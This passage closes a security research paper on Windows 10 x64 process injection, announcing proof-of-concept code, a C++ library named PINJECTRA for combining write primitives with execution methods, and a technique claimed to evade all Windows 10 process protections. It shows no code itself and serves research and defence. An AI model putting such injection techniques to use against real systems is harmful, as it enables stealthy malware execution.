All the above PoCs are available at our GIT repository. Additionally, we provide “full exploitation” PoCs which demonstrate execution (MessageBox) for all techniques. Finally, we also provide a unique offering in the form of a “mix and match” C++ class library (code name PINJECTRA), so the library’s user can construct process injections by combining compatible write primitives with execution methods. This is the first such offering.

Conclusions

This paper fills a major gap in documentation, analysis, update and comparison of true process injection techniques for Windows 10 x64. Additionally, this paper presents a novel technique for writing data to memory, and a related technique for execution, both unaffected by all Windows 10 process protection methods.

All techniques are offered as a barebone PoCs and as interchangeable classes in a library which allows “mix and match” style process injection coding.

Acknowledgements

Kudos to the EnSilo research team, to Odzhan, to Adam of Hexacorn and to Csaba Fitzl AKA TheEvilBit for their research and innovation over the recent years.